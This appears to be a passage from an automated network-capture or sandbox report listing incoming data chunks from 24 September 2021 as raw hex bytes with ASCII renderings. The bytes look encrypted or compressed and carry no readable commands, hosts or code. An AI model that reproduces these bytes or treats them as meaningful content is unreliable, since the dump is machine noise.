2021-09-24 05:56:42 UTC	112	IN	Data Raw: ae 79 74 f1 67 e3 ef 56 cb 5d 5a 99 7e 3e 4c 3d 92 5d f3 b5 c6 d0 db 63 79 82 b7 95 c6 6e bd c1 1d 69 3b 8a bc 3b d3 37 df 69 da ec 9c 76 0f 19 bc cb 72 20 4d e2 d2 ce 63 65 66 e3 da c5 32 1a 11 36 f2 b5 9d f5 85 1b a3 4a 03 27 d1 2a d5 19 5e 6b 22 07 f2 16 1d 80 03 14 13 3e d9 1d b7 f3 76 db d3 6a bc fc cd 3e 6a 5f c7 f4 a0 7b 17 94 01 f2 32 97 dc e4 88 a7 8f a0 1d a2 ef 30 06 87 4c 23 df 7c 08 ad 6d 64 91 69 e3 16 3e 79 f9 8b 5d fe c0 5f 07 ff ee fa 10 c3 c0 4d 1f 70 e8 f6 d0 84 d4 71 b8 38 56 59 0d a1 ba 17 79 04 e8 e7 65 00 a5 4d b5 ea f2 d5 0d 17 7e b2 61 11 47 c2 91 8c 45 a5 11 40 63 04 3a 94 1f bb da 9e 59 f9 98 ed 5d 06 8c c4 3d 98 57 03 4f ba 88 be 26 6a 1c a7 88 59 c2 dc ff 31 fd 6b 20 fd 90 0f 34 17 c9 17 96 b7 38 70 f6 c2 41 80 86 0c a5 ea 11 Data Ascii: ytgV]Z~>L=]cyni;;7ivr Mcef26J'*^k">vj>j_{20L#\|mdi>y]_Mpq8VYyeM~aGE@c:Y]=WO&jY1k 48pA
2021-09-24 05:56:42 UTC	128	IN	Data Raw: 91 ce 83 0e ae 2a 8c 2e ff a3 6f 18 20 4c 7f 89 f7 c0 f6 34 59 69 01 f7 56 a1 6d 44 5b 0e 84 33 3b 68 88 a7 48 31 82 35 12 3f 1d 71 14 68 8f e1 6a 6b 2b 47 23 00 4f 98 36 85 a9 35 8e bf 4c 12 d2 e9 5b e2 be cc 1c 40 0c a2 56 8c d2 53 f6 78 25 5a 4c 39 97 81 76 c2 de 77 95 bf 7e 95 5b bd 6c 3e 5d b7 e7 35 0e c8 2d a0 2b 24 c9 e9 54 1e 4b 39 b6 9f e8 59 77 04 97 60 48 0f 3b 02 49 87 56 06 79 44 71 75 e2 9f df 3c fa ce 0a 67 62 e9 c0 a7 a0 24 55 3c 42 68 6e 84 7b 3c a2 eb 79 ba ec 67 cd bd 5d d5 4b e9 11 d1 71 d5 00 6f 7a a6 03 71 1c 7c c5 df 33 5a 7c 82 2a f1 39 23 f6 38 f4 56 e1 e1 15 bb 6e 8e 73 af c7 08 8b 6e 8e c5 d1 97 ff b6 16 78 8c 80 11 31 2e 28 49 87 65 0f 31 f7 bf cf 60 d0 99 d7 66 fa b6 74 e6 92 b4 df bc dc 60 ea f0 39 fe cd 3c eb 9d a5 21 55 57 Data Ascii: .o L4YiVmD[3;hH15?qhjk+G#O65L[@VSx%ZL9vw~[l>]5-+$TK9Yw`H;IVyDqu<gb$U<Bhn{<yg]Kqozq\|3Z\|9#8Vnsnx1.(Ie1`ft`9<!UW
2021-09-24 05:56:42 UTC	144	IN	Data Raw: e6 c3 a1 15 72 ad 6b 51 52 e8 47 58 88 9a 92 84 ad 9d d8 1d c6 15 7c 2f 64 cb de 60 8d 74 46 23 be ab b9 9a 76 83 9f e6 54 07 ab 34 97 9a 39 f6 83 5a f1 e3 2f 43 62 db 99 cf c2 77 e9 93 f0 7b 87 d6 d9 76 96 f8 b2 c6 38 bb 58 63 fd 09 77 64 5e 3a 44 95 ea c0 ac fe ac c4 13 d1 bb c2 1b ec 63 92 c3 30 f2 33 b9 b7 73 ff 0a 7e 43 48 d1 fc d7 db 44 78 77 50 92 47 40 69 19 1e 92 48 6f 47 1b 62 af d6 72 5b dc 49 d1 fb 30 e0 dd 69 5a aa 54 ad 14 e0 a4 d8 10 f0 bd 90 e7 c1 f4 83 0f ec b6 b2 66 0a 8d 8d 59 03 79 76 70 bf 9d e8 7e fd c8 0a 3d e2 10 1e 0c ab 84 57 4a 95 6a bf c4 fa 47 75 ae bd f0 dc 1d 96 ca d4 32 5b 3b 95 3b 2e 4d aa 70 b1 0e f3 20 10 7d d3 a8 0a dd fe 4c ec 1d 3f 4b 54 d8 0d e7 d1 71 b2 a3 87 72 4c 54 c8 f5 1a 53 e7 67 2d b0 0d 30 14 35 a7 66 6c 83 Data Ascii: rkQRGX\|/d`tF#vT49Z/Cbw{v8Xcwd^:Dc03s~CHDxwPG@iHoGbr[I0iZTfYyvp~=WJjGu2[;;.Mp }L?KTqrLTSg-05fl
2021-09-24 05:56:42 UTC	160	IN	Data Raw: ec 83 ef 11 5d 11 bd 89 71 8e 29 ca 14 87 8c 8b 66 92 c9 35 36 9e 86 15 b8 97 82 b8 45 42 af 8d 75 49 4f e7 65 3f fc 02 7e 39 2f bc 24 cb b1 86 1c 2b 45 85 8c 90 29 65 46 f9 ce fe 10 5b 26 3d c8 c3 69 cd 1e 27 19 6a ca cc b9 2f d2 90 9a f3 de 25 22 8b 32 7a b9 8e 48 a7 c4 6a d2 42 65 a2 16 e3 2e 4c ea f0 c9 c2 29 bc 6f 05 5e 06 a4 ab 3f 4d 99 eb fd 8d ca 43 75 df 8b 5c 9d 58 67 f3 7e 9d b3 7c 9c 6c 96 45 72 98 fc 2a 21 36 3d d6 05 88 f9 03 69 96 1d 93 75 a3 7c a4 5f 67 d1 5e e9 b2 af 45 9a 85 c5 2f 59 c2 5a 05 67 94 79 d7 9d 6b b1 0b 7d 7e d6 59 39 94 48 3c ef 78 de 8a f3 74 47 85 26 52 a7 ae 56 ac 1c b5 33 1d 66 83 4b f4 07 9c 77 8b e9 94 79 8c 47 7d cc 53 b2 9d e2 f1 83 af 79 78 6c 80 db 38 35 8d 9a b1 b2 42 f0 a5 56 09 3d 26 16 ad 04 dc 9c 35 a5 b4 40 Data Ascii: ]q)f56EBuIOe?~9/$+E)eF[&=i'j/%"2zHjBe.L)o^?MCu\Xg~\|lEr*!6=iu\|_g^E/YZgyk}~Y9H<xtG&RV3fKwyG}Syxl85BV=&5@
2021-09-24 05:56:42 UTC	176	IN	Data Raw: cd 8f 7b dc 44 e4 28 a7 7e 63 bf 71 b5 5b b3 56 2b 2d 53 85 d2 1a e7 c8 70 44 c4 fc 05 db 8b ff dc 30 d9 a9 61 a3 5a 14 1c 8d 6a 37 3b 50 8d 03 b7 5f bf 71 b2 d4 70 44 8a 7d 8f 08 00 50 bd 6c 21 18 e0 39 22 9a d5 a1 40 db c8 04 78 56 7f e5 ab 45 08 61 83 ee 70 44 97 19 23 1c aa c3 59 92 fc 76 3e d7 c3 79 f8 6d cc 0d 83 ee 23 1c fe 7a 3f 59 f1 de 5a 14 3a ce 0a 65 d5 a1 4e fa 15 fd 8a 7d 94 93 65 ac a6 ba b5 5b 9e a9 38 ca 68 33 5b 96 fe 7a 28 a7 7a 5a 12 77 aa c3 18 84 14 7b af 4e 88 79 ad 49 07 df e3 bf 79 d8 5e 1d 6e 40 bf 71 b5 5b f3 e2 53 85 96 97 7c 5e 4a f1 d7 a5 41 5e 7c 5e 79 d8 54 07 ba e6 33 3f 0d ec 54 07 a6 ba 87 f6 0d ec 3d 55 e6 46 a5 38 cc 0d 95 15 9c a4 d2 1a e6 46 9d 26 f0 5c 1e 91 78 56 6a 37 1b 0b eb d1 f1 de 46 e8 0c 6a 34 c1 00 50 96 Data Ascii: {D(~cq[V+-SpD0aZj7;P_qpD}Pl!9"@xVEapD#Yv>ym#z?YZ:eN}e[8h3[z(zZw{NyIy^n@q[S\|^JA^\|^yT3?T=UF8F&\xVj7Fj4P
2021-09-24 05:56:42 UTC	192	IN	Data Raw: 44 e4 61 a3 46 e8 25 20 e7 c8 76 51 c5 7e 78 56 7f e5 bc ea 2a ab 31 3b 3e d7 ca 09 80 67 90 8a 18 84 13 f9 86 74 3b 50 9b 22 fe 7a 7a 5a 63 a8 d1 98 ff fc 18 84 19 06 2a ab 65 ac a0 ad 27 25 49 6f b6 dd d3 9c c1 75 bd 6c 58 10 53 85 80 67 df b7 2d 32 cf 94 d6 23 38 ca 64 2a ca 09 86 74 3f 59 e6 46 9b 22 ba e6 29 29 5d 9b 02 54 66 2e c0 f3 83 ee 33 3f 79 d8 53 85 81 e9 a5 38 86 74 28 a7 5b 96 f6 69 d8 27 6c 3b 70 44 81 e9 b8 e1 d2 1a fa 71 b1 52 23 1c e2 3d 21 18 a4 b6 b9 64 4f 7c 32 bd 05 db cf 94 d5 a1 07 df da 2c d1 98 fe 7a 28 a7 48 ed a6 ba c6 00 3d 55 e6 46 9a a0 cb 8b df b7 3e d7 d1 98 fa 71 a2 b1 72 49 1b 0b 9b 22 f3 e2 71 c6 65 ac a0 ad 28 a7 51 80 2e b4 f9 ef bd 6c 5a 14 1e 91 7e 63 88 79 b7 5f eb d1 b8 e1 df b7 3a ce 7d e1 d2 1a e9 cc 4b 73 e2 Data Ascii: DaF% vQ~xV1;>gt;P"zzZce'%IoulXSg-2#8d*t?YF"))]Tf.3?yS8t([i'l;pDqR#=!dO\|2,z(H=UF>qrI"qe(Q.lZ~cy_:}Ks
2021-09-24 05:56:42 UTC	208	IN	Data Raw: 33 09 57 b8 45 50 7a 6c 44 d2 6a 01 90 bc c2 c1 6d 8b 03 e3 5b a3 85 c7 1a bd 18 b1 0e 5b a1 1a 94 a6 be db ae f8 91 38 32 89 0f c4 0c 5e f1 ea a7 08 85 c6 e0 0d 30 8c 59 a6 6e 74 9d 12 bb 5c d0 22 5e 29 e9 f8 d1 ac 7f d1 2c 84 c0 c7 2e 80 cf a0 09 d7 05 ef 45 52 9b 16 14 4f ec 67 3c e7 40 ef 5d af ce 25 5c 2c c8 30 cc 39 3c e7 a4 82 03 e2 5d af 0e 5a 38 fe 52 37 5c 2c b0 e3 43 51 78 65 58 23 ec 60 cd bc 02 67 54 34 21 2b f1 ed 0d df 63 9b f2 53 49 5c d0 25 e0 0a d5 92 2e 87 7e 50 7a 69 35 70 38 f9 97 2a df 84 00 63 c4 cf fc 45 02 67 d0 25 7c 6d e6 75 9b 11 a5 0b a4 85 ba d5 e5 f7 ab 76 6d 8d 3b 63 9c 97 29 1a a4 85 d6 10 77 e1 4a c3 94 a1 f7 d9 6d 8c 41 6c 87 c4 44 d6 97 2b 9d 14 d7 97 b1 60 85 c0 53 b7 c3 4b eb e3 2b 1f 83 dc bc d8 af 7c da 1e 11 c7 fe Data Ascii: 3WEPzlDjm[[82^0Ynt\"^),.EROg<@]%\,09<]Z8R7\,CQxeX#`gT4!+cSI\%.~Pzi5p8*cEg%\|muvm;c)wJmAlD+`SK+\|
2021-09-24 05:56:42 UTC	224	IN	Data Raw: b5 3e 87 93 65 cd ea 3d 16 80 67 b0 d0 7e 10 06 2f 74 29 40 b7 30 eb b4 ad 28 c2 85 b1 52 03 d6 23 5f db cb ff 99 72 2c f4 64 2a ab 45 12 14 1e fb 96 d8 42 94 f6 05 be aa c3 79 d8 53 e6 23 4e 8a 14 17 41 3b 34 b4 b5 38 b2 91 0c 6a 37 3b 24 f7 a9 31 5a 79 ac ae 8e f2 05 9c a4 b6 dd ca 4c 91 7e 2c d8 54 72 3b 12 03 b3 11 f5 e7 c8 04 20 fa 33 4f 15 91 4f 08 04 1f 13 f9 ef d9 d1 dd dc 5f f6 1d 66 5d f4 34 b5 35 26 d1 ea 3a 8d 77 b6 9a a0 ad 49 6f ba a3 53 f7 a4 f5 a3 40 be a9 41 5e 1d 0f 95 79 ba 87 a2 c3 16 ec 3c 90 c8 4d 3c a7 59 d5 a1 2f 36 b6 a9 28 e5 8d 47 1f 76 16 80 67 b0 a3 44 85 b1 37 2b 44 92 eb 95 61 c6 47 6b b9 64 2a ea 3b 33 5a 7e 01 9d 52 66 69 b5 5b 96 e4 24 f7 99 6a 59 d7 c0 87 82 0e 02 35 13 8d 66 69 b5 5b 96 97 75 aa bb 01 82 1f 76 16 80 67 Data Ascii: >e=g~/t)@0(R#_r,dEByS#NA;48j7;$1ZyL~,Tr; 3OO_f]45&:wIoS@A^y<M<Y/6(GvgD7+DaGkd;3Z~Rfi[$jY5fi[uvg
2021-09-24 05:56:42 UTC	240	IN	Data Raw: 1e 0c e3 40 24 60 bd f1 57 55 ba b1 04 0b 17 fd 06 c9 42 61 4f f7 be 2e 3f 9a fb aa 99 47 94 68 7d ee bf 55 9d ad 4d 5c 54 8c 47 e0 1d 0b 61 5c e7 37 e0 d1 5b 1d 0b cc 59 1f cb 00 a2 3a 36 01 51 d6 70 44 a4 3b 93 4a af 14 5f 9b a9 65 a8 37 b7 a4 c7 f3 0a 36 1d 84 8f f3 93 60 c9 d6 23 59 a4 d6 82 38 cc 84 8f f3 93 f6 81 b9 64 6f f4 04 f9 bc 32 36 3a 35 33 72 a1 7f e5 81 df d7 04 08 6b d3 6e cb da 7a 09 e3 bb aa 9e 4c 7d ba 05 30 47 90 cc c4 15 3e 28 5c 55 1e 79 d0 53 08 9e 52 4e 39 a4 b6 dd b2 d6 99 e6 03 5b 96 d3 60 44 8c 91 85 96 ce 48 b7 9f 18 7b 27 4a 10 9b 72 bd 29 a2 4e 01 a2 bb 80 37 bc af c5 2e 4b 88 2b a1 c7 7a 1f 98 9b 48 ec 39 1c 72 b2 86 85 1a 80 22 17 51 58 9b dd 49 3f fd 10 7b 99 95 ea b4 a9 5d 73 98 cb 74 b6 8f bb 80 9b 67 3b 00 a4 f3 6f e2 Data Ascii: @$`WUBaO.?Gh}UM\TGa\7[Y:6QpD;J_e76`#Y8do26:53rknzL}0G>(\UySRN9[`DH{'Jr)N7.K+zH9r"QXI?{]stg;o
2021-09-24 05:56:42 UTC	256	IN	Data Raw: 6d 41 a1 d0 e8 6e 44 23 1b 7f ed 7d 1e 6a 81 dc d8 71 2a c1 51 b4 50 0e e5 3b ab f3 d0 fe 2a af 6a 73 40 d8 4d 26 d7 a5 30 c0 70 44 e4 41 ce 92 05 24 65 18 7e 8b ff b8 5d 83 86 24 5a 9f 2f 12 23 94 b7 5b 1f 23 5f 14 7b dc 30 39 c9 89 fb f4 64 2a 3f e2 be ee 57 8e 12 f3 ed d5 91 74 ce 11 b0 eb 6d 1f cb 00 a8 7a d9 ff af de 34 c9 44 b9 3f 07 80 a1 a4 40 e8 52 8a 71 83 65 ab ae 33 c3 ed 4a 19 d5 2a ab 45 66 be 6e cb 8b ba dd 0e cf 80 13 21 23 e3 41 c7 57 66 e9 47 60 54 07 db d6 a3 38 8f 83 fa 05 24 1b 4f 04 d3 9c e1 80 db 0f c4 88 71 6e bf 8a cb 56 e3 ec bf 1b 4c 83 de 76 6a 37 0d d7 19 13 72 b6 26 15 1d e7 9b 26 c9 79 16 03 de 69 3e 80 31 68 df 3c 86 b7 04 06 a2 4e 16 13 11 f4 ef b9 34 48 3f 6a 32 c8 64 7a 61 db dd 3b a6 89 e2 b6 da 59 ea 1c b6 c4 77 bf 02 Data Ascii: mAnD#}jqQP;js@M&0pDA$e~]$Z/#[#_{09d?Wtmz4D?@Rqe3JEfn!#AWfG`T8$OqnVLvj7r&&yi>1h<N4H?j2dza;Yw
2021-09-24 05:56:42 UTC	272	IN	Data Raw: 76 41 d7 c1 2c e9 96 57 bd 93 ea 8f f2 88 86 c6 be 88 ba 6d be ee 54 3e 3f 9a 2b 2a df b7 5f 9f 29 07 64 aa d8 52 02 48 ae 3a ce 11 f7 cb 30 31 c4 07 19 a7 d4 e0 c5 3a 98 73 cb ca 27 8d a2 b0 62 da 61 28 58 eb 3b 15 15 fd bd 4b 77 72 b5 0e e3 9e dc f0 d8 d8 dc f1 98 73 34 79 66 48 2a 20 a5 4d 79 c4 bf 87 e3 ca d1 a3 cb 74 8e cd 67 77 58 30 cc d2 21 5d ef 26 26 d3 e8 4a f1 dc 10 c8 3f 79 51 e4 71 39 28 a7 78 2b 2d 5a 41 9e 9a 78 dd 48 66 79 8e d5 a1 45 8a f6 3c 13 72 8a 26 fd 07 21 ad 10 9b e1 30 6e cb 48 b6 83 e2 7b 55 76 aa 37 90 62 76 ae 32 64 dc d8 e4 ca 59 92 8e 84 24 1d 84 20 93 9a f0 58 56 80 37 40 9d ad 67 5b 9a e6 cf 6b 42 15 f1 36 95 ea b1 88 63 40 18 0f a0 ab ce 41 5a 52 88 29 21 5e 96 8a 08 64 14 f8 2a df b7 5f 9f 29 7d 5a 97 c1 fe 88 f2 36 96 Data Ascii: vA,WmT>?+_)dRH:01:s'ba(X;Kwrs4yfH MytgwX0!]&&J?yQq9(x+-ZAxHfyE<r&!0nH{Uv7bv2dY$ XV7@g[kB6c@AZR)!^d*_)}Z6
2021-09-24 05:56:42 UTC	288	IN	Data Raw: 88 fa 8e 7d 0c dd 5a 17 89 fb f4 64 22 20 93 98 9b a9 42 6b 46 14 4f b9 8c d1 9c e4 ca 0a ee a8 d4 12 03 16 05 24 62 10 b5 b3 06 59 d2 91 0f 7b df 3e d1 13 ce 65 ac f9 6c cf 1f 17 26 ff 71 e2 39 c5 86 b0 53 d3 cf 57 d3 79 53 de 6a 68 cf d1 13 11 1e 6e bc ec df 5e de 34 84 51 a0 0e 96 d2 91 0c 2f 17 2e 17 f6 2c 3b 50 ba da 8e ee 47 e2 59 cb d2 40 1b 38 35 bf 76 32 55 76 ad 4e ee bf 71 c6 00 69 5d 9b 67 91 20 34 3e 2b 29 26 4a e8 a1 3f d0 72 10 2a f1 1e a2 4d 3d dc 30 fd d9 85 53 7a a6 8f 6a df e7 37 b4 e9 0c 82 6b fd c3 d1 f0 5c 72 69 3c b7 6f 3d 31 3b 14 47 0f 98 ce d1 ab 65 25 44 d4 e0 5d 9b 66 12 ec 3b 05 1b 38 ca 4c d7 89 58 d0 25 20 d0 37 68 90 7e 36 4c f6 2c 91 20 80 ec ab 10 fa 71 83 cf b4 cc 86 88 2c 39 9e 9a f7 bd 3f ad 8d 80 8b 74 18 84 30 35 43 Data Ascii: }Zd" BkFO$bY{>el&q9SWySjhn^4Q/.,;PGY@85v2UvNqi]g 4>+)&J?r*M=0Szj7k\ri<o=1;Ge%D]f;8LX% 7h~6L, q,9?t05C
2021-09-24 05:56:42 UTC	304	IN	Data Raw: 39 4c f6 69 55 0d e3 bf 4f 04 d8 d8 d8 d4 7b 34 02 df 61 28 51 b3 9e ec da 6c 3b 50 ff ff 70 4b b3 d3 d4 e0 c6 f3 8e 6e 83 65 54 42 69 4a 0d d2 fc 9e a9 00 63 8c 20 94 21 f8 28 2e 4b 8f 36 30 50 fe 3b 63 8c 20 94 21 f4 21 91 f3 1e ae c8 ec 53 c4 cf b0 71 c7 30 4c b3 df 48 11 ca 1a 60 21 59 a1 0b 49 6e f2 40 52 67 80 98 ff fc 32 bd 30 d0 43 a2 82 9b 67 39 8c b2 2c f5 6e 80 54 e7 8d 8a bd 5f 73 8e 0f 30 8b 0b ad c0 33 0c 95 e9 82 4d 90 8a 38 ea 6b ac 4c 0a 20 18 84 70 40 d0 92 81 29 ad 49 6f c4 fc 9e 6a bc ea 4f 78 4c 73 c4 ec 4f 3f af 57 fb f4 83 93 91 0c 8c c4 3a ee de 50 ce ee 33 3f 1d 0f 6b d1 cd 4f 4f a4 3d b2 81 61 4b 3e 5e e1 f6 e0 f5 aa 4a 21 55 00 84 3d dc f4 29 a0 6d f3 6b 05 96 1e 29 64 a3 fd cb dc 66 7d 59 56 88 95 9e fc 76 51 80 4e fa 71 c6 01 Data Ascii: 9LiUO{4a(Ql;PpKneTBiJc !(.K60P;c !!Sq0LH`!YIn@Rg20Cg9,nT_s03M8kL p@)IojOxLsO?W:P3?kOO=aK>^J!U=)mk)df}YVvQNq
2021-09-24 05:56:42 UTC	320	IN	Data Raw: a9 a1 d0 16 80 58 10 33 2f 62 42 85 9e cb ea 21 5d 9c a4 ba e6 46 e8 4b f3 e2 3d 55 89 b8 16 38 ca 4a 1e f9 10 73 cb b2 d4 5f 8f 08 15 91 79 b9 02 31 7f e2 3d 5e 1d 0f f0 5c 98 9b 22 9a a0 ad 49 6e 40 98 6a 6b 46 e8 4a cb 8b bf 61 a3 47 0e 09 82 06 14 0e 00 35 0e 0c 1f 40 d6 23 16 00 50 fe 7a da 2c b0 d0 16 80 67 b1 52 40 22 fe 85 f2 60 5d 9b 66 cc 69 d1 fd 93 72 2c d8 64 2d 32 b4 d9 a9 41 5e 9d 26 a3 34 c1 36 32 25 20 d6 cc 19 f9 ef d9 91 0c 2a bb 68 5d f4 0d 98 eb b0 93 16 80 6f 42 e0 39 4c 76 51 80 67 b0 93 e6 3e d7 e6 a8 1a 77 d3 9c 94 93 51 90 1e fa 10 16 f2 22 9f 2b 2a ab 45 66 2e 34 c1 75 cf 94 93 11 f4 64 69 5b 02 ab 45 66 66 2e f7 5c 30 c8 65 c1 01 bb 2a ad 49 69 35 43 62 26 23 1c 8d 03 d6 23 1c 8c 81 aa 36 f5 e7 8b 0b 70 44 a5 dd 92 e0 56 62 52 Data Ascii: X3/bB!]FK=U8Js_y1=^\"In@jkFJaG5@#Pz,gR@"`]fir,d-2A^&462% h]oB9LvQg>wQ"+Ef.4udi[Eff.\0e*Ii5Cb&##6pDVbR
2021-09-24 05:56:42 UTC	336	IN	Data Raw: 6b eb 5b f2 33 b4 df 5c 08 33 b5 4f 2e 3f a1 7a d1 93 65 ac 3f 24 1d 0b 98 12 88 86 80 f0 b4 d9 eb 6a 23 bd 6d 0c a1 a4 de 77 5a eb 2e 42 ac 2f 36 c5 7e 61 19 0e 2e 3f 3d 16 0b 17 fd 02 00 b8 26 28 77 58 ef 26 55 ec bb 68 33 3f 58 aa cb cc 86 5d 70 2c f3 6b 46 17 f4 13 11 f5 e7 c8 05 61 ab 05 50 9a e3 34 3e 28 5d e4 a9 86 ff 2c 3b af b1 a4 26 4b 73 cb 8b fd 42 e8 0d 67 e4 aa ee 23 d4 e1 bd 18 4c 08 96 d2 90 9a e7 40 2c f5 6d da 57 05 b1 27 6d 41 a1 da 1a 60 45 25 ab b2 91 84 70 01 cd 73 4b f9 10 36 4f bc d9 51 c5 f7 14 84 8d ec bb ab ce 19 53 0e 6e 40 d5 e8 a2 72 c2 27 ae c5 0a a5 bd 93 ee a9 47 83 2d b9 b2 5f 9b dd f7 2d 36 b0 d5 8d 07 ab 85 76 ae 89 71 c6 00 51 a1 c6 04 28 2e a0 fd 71 ce 53 0c 0e 3d de cb 74 b8 8a 95 15 bf ca 1d ae cd 3d 9e 22 65 53 e8 Data Ascii: k[3\3O.?ze?$j#mwZ.B/6~a.?=&(wX&Uh3?X]p,kFaP4>(],;&KsBg#L@,mW'mA`E%psK6OQSn@r'G-_-6vqQ(.qS=t="eS
2021-09-24 05:56:42 UTC	352	IN	Data Raw: 2f 32 56 f4 9a 1f 75 c9 f2 70 58 53 73 db db 51 05 bd 14 03 5d fd fc 9d d9 57 31 5d 9d 52 13 e5 84 86 64 5e dd 37 b7 a0 5f cc e5 07 54 ce 22 96 b3 02 d9 56 f4 c9 62 ce d2 91 08 45 32 30 b4 fd b4 54 07 b5 a4 4b 46 8d eb 85 bf 04 a7 b9 02 10 0b 63 ce 11 7e 63 ed f2 f0 fd f8 6d be 50 7b d3 9f c3 fa 17 02 54 07 55 0d e3 41 b6 5e 7b d4 59 19 60 21 18 84 a6 3f 56 0b e8 4b f3 61 98 9f 6d 35 9b a9 b3 dd 42 24 1d 58 46 bb f8 ae 92 8e 86 68 08 89 3d de c4 ad b6 d5 2a 6d 35 b3 dd e4 41 1e 1c 4e a1 71 39 b1 53 13 11 0a aa 7d 87 35 c8 0f 85 f3 fe 39 ba 19 f9 0c 71 2e 77 58 e0 68 cc 05 50 3d de e2 b6 dd b2 c8 77 3b 93 9a 78 dd 40 50 a8 ed d5 a1 2f 36 c5 7e 63 a2 72 12 29 76 a1 7e 9c ac 4c 35 c8 d3 17 03 ce 5f 1c 89 8e 46 6c c4 03 1c e0 d1 5b 1d 1f 45 eb c5 30 35 56 7e Data Ascii: /2VupXSsQ]W1]Rd^7_T"VbE20TKFc~cmP{TUA^{Y`!?VKam5B$XFh=*m5ANq9S}59q.wXhP=w;x@P/6~cr)v~L5_Fl[E05V~
2021-09-24 05:56:42 UTC	368	IN	Data Raw: 1a 60 e2 b6 39 19 8b 5a b1 f7 4e 1e ec de f8 18 09 1c 73 8a ff 14 9f 6e cb 63 fd 73 03 5d 64 d5 53 9a 48 2e 3f 09 2f 73 46 b8 1e 6e b2 c3 91 cf 1f fb b1 db 4e bf fa 95 50 77 0f b5 d0 e9 33 d2 d8 cf 52 88 9d 73 46 34 8c 0c 73 bf 87 73 fb 87 7d 09 a6 33 df f2 eb 35 06 d4 c3 3c 58 ef 27 64 54 ef 99 5d 10 37 1b 80 bb 25 ad 73 20 6a ca 7e 05 33 6f c2 f7 b2 60 c9 86 74 4d d8 a4 3d 55 e3 ef 3d 10 fe 78 3c c7 d4 e0 09 68 e0 b2 d4 1f 12 0b 68 b8 05 96 1a a3 40 db ae cc 0c 16 38 49 5b e2 3d 55 89 fa d6 9b a2 8c f5 27 a0 ad 49 6f 62 a5 b3 56 0b e8 f7 6e 4f 83 11 76 58 64 d5 24 46 63 52 88 85 bf f8 3a 98 c8 c8 c0 70 a8 35 16 40 50 3d 0e 30 e7 95 05 1f 90 75 32 fc bc 02 ab 8e 38 ac c3 5d df 3c 05 50 f7 cf d8 ac 97 10 57 ca 82 73 20 6a ca 48 09 0b 17 b5 e5 a2 bd 29 a2 Data Ascii: `9ZNsncs]dSH.?/sFnNPw3RsF4ss}35<X'dT]7%s j~3o`tM=U=x<hh@8I[=U'IobVnOvXd$FcR:p5@P=0u28]<PWs jH)
2021-09-24 05:56:42 UTC	384	IN	Data Raw: d0 16 80 67 b0 d0 16 80 67 b0 d0 16 c2 4a c1 b5 d0 73 ae be ba 8d 60 4e be ba ef d9 ea c9 66 2e f7 9c 50 fe 39 c1 75 cf d7 2a e7 c8 47 e1 f3 e2 7e eb 95 15 be 68 37 48 ae 4e 02 54 44 9f 13 f9 ac bc c2 f7 a8 c7 32 bd 2f 4f 20 95 55 b2 44 e4 01 b0 1c 8d 43 5c 30 b8 a1 11 c1 75 8f 6a 8b ff bc 88 c9 86 34 ff dc 30 f8 7c ca 09 e3 bf 09 e3 fd 44 3c d3 9c a4 b6 dd b2 d4 1f 13 f9 ef d9 a9 41 5e 1d 0f f0 5c 18 84 70 44 e4 41 1c 31 7b dc 72 f5 4b 73 cb 8b ff fc 76 51 f4 64 68 8f 00 b8 91 af 01 12 77 b3 fc 67 61 61 22 1c 94 6e 39 4c f6 69 b4 d9 eb 6a d7 a5 7a e1 68 33 7d 5a d2 1a ca b2 6d be ac 7c f2 60 63 13 66 2e f6 d2 88 79 9a 1b 8e 86 36 7e 1e 91 4e 41 2b 2d 70 ff 91 0c 28 1c 71 c6 42 5b 64 2a e9 77 3b 9c 68 cc f0 fb e6 af c2 f3 c6 44 67 4f 81 4e f2 89 77 d7 81 Data Ascii: ggJs`Nf.P9uG~h7HNTD2/O UDC\0uj40\|D<A^\pDA1{rKsvQdhwgaa"n9Lijzh3}Zm\|`cf.y6~NA+-p(qB[dw;hDgONw
2021-09-24 05:56:42 UTC	400	IN	Data Raw: f2 60 63 d6 99 1e d3 e2 94 93 53 fb 6c 3b 12 09 64 2a e9 b2 a2 b1 10 0d 89 fb b6 a3 60 21 5a 6a 74 4d 3a b0 e2 3d 17 7c 7f e5 86 0a 75 cf d6 5e e2 3d 17 7f 0b e8 08 1c 50 fe 38 b7 93 11 b7 22 21 18 c6 7d 4b 73 89 86 ed d5 e3 c2 7f e5 86 09 94 93 53 f8 0b e8 08 1c d8 27 67 cd cb 8b bd 11 c6 00 12 0a 47 6b fb 8b 83 cb af 6d 9c 85 d2 05 c5 63 b4 c5 62 3a d5 ba fd e3 a5 22 80 7d f8 74 54 1e 89 e3 a7 24 89 ec 44 f3 f4 72 5f 89 ee 42 f5 f2 74 59 86 60 32 ae df a4 a4 a4 a4 a4 a7 2d 23 0d fc 66 3e c7 8d 0c 65 a3 3a c0 fd f6 64 27 28 aa cf 98 90 81 e3 b5 52 0a 6d b6 da 2b 2b 2b 2b 28 a2 b4 dd b6 d9 aa c0 f0 5e 1f 11 f4 65 ad 49 6f c2 b5 27 af cb af b1 52 41 22 bb e8 c0 f3 e2 3e bf f6 66 46 10 f0 9e 23 dc 03 c1 74 8b 3c db ff 75 8d d3 b7 20 77 50 3e e4 45 27 ac 07 Data Ascii: `cSl;d*`!ZjtM:=\|u^=P8"!}KsS'gGkmcb:"}tT$Dr_BtY`2-#f>e:d'(Rm++++(^eIo'RA">fF#t<u wP>E'
2021-09-24 05:56:42 UTC	416	IN	Data Raw: da 59 93 1d 77 50 98 ab 03 5b be 99 95 ed 5e c7 09 4f b8 62 71 90 d9 a9 01 5f 5c 43 3c 8c d5 65 2f 26 f2 9f 23 97 da a7 ef 52 fc 89 15 92 66 ed 5e 15 ab ce 01 9c 2f 62 06 79 a4 3f 51 a4 ca 80 39 13 5c eb d1 98 9b 37 f1 d6 07 a3 b9 7c 98 18 d3 ca f6 96 63 23 f4 a7 b7 67 c4 dc 4e c1 5d e8 c1 ad c2 0d 67 1c 49 ec 04 0e 3d 96 cc 53 da 71 92 4a 72 59 c3 86 7c d5 67 3b 86 ff 03 29 de 21 f0 9a 2b fd 73 06 d6 23 76 03 a6 ed 5f cb 99 f5 ef 9e 20 90 fe a1 ab ba 19 e2 51 68 27 62 ad 59 c5 f5 2a 20 95 7f b1 ba 6d 41 a1 c5 9c 4c e6 01 59 98 70 54 68 b8 e4 35 98 1f d0 82 64 2b 29 56 88 61 87 b2 5d 5b a5 66 71 63 5b 96 97 19 13 40 d3 b8 9d ab 5d ec de 63 fe 85 0d 1a 9a 48 2b a6 45 99 eb d8 cf 52 88 0d 99 0a 22 a1 2a df 77 56 03 91 87 81 02 ab ba 09 d9 41 98 10 67 e7 43 Data Ascii: 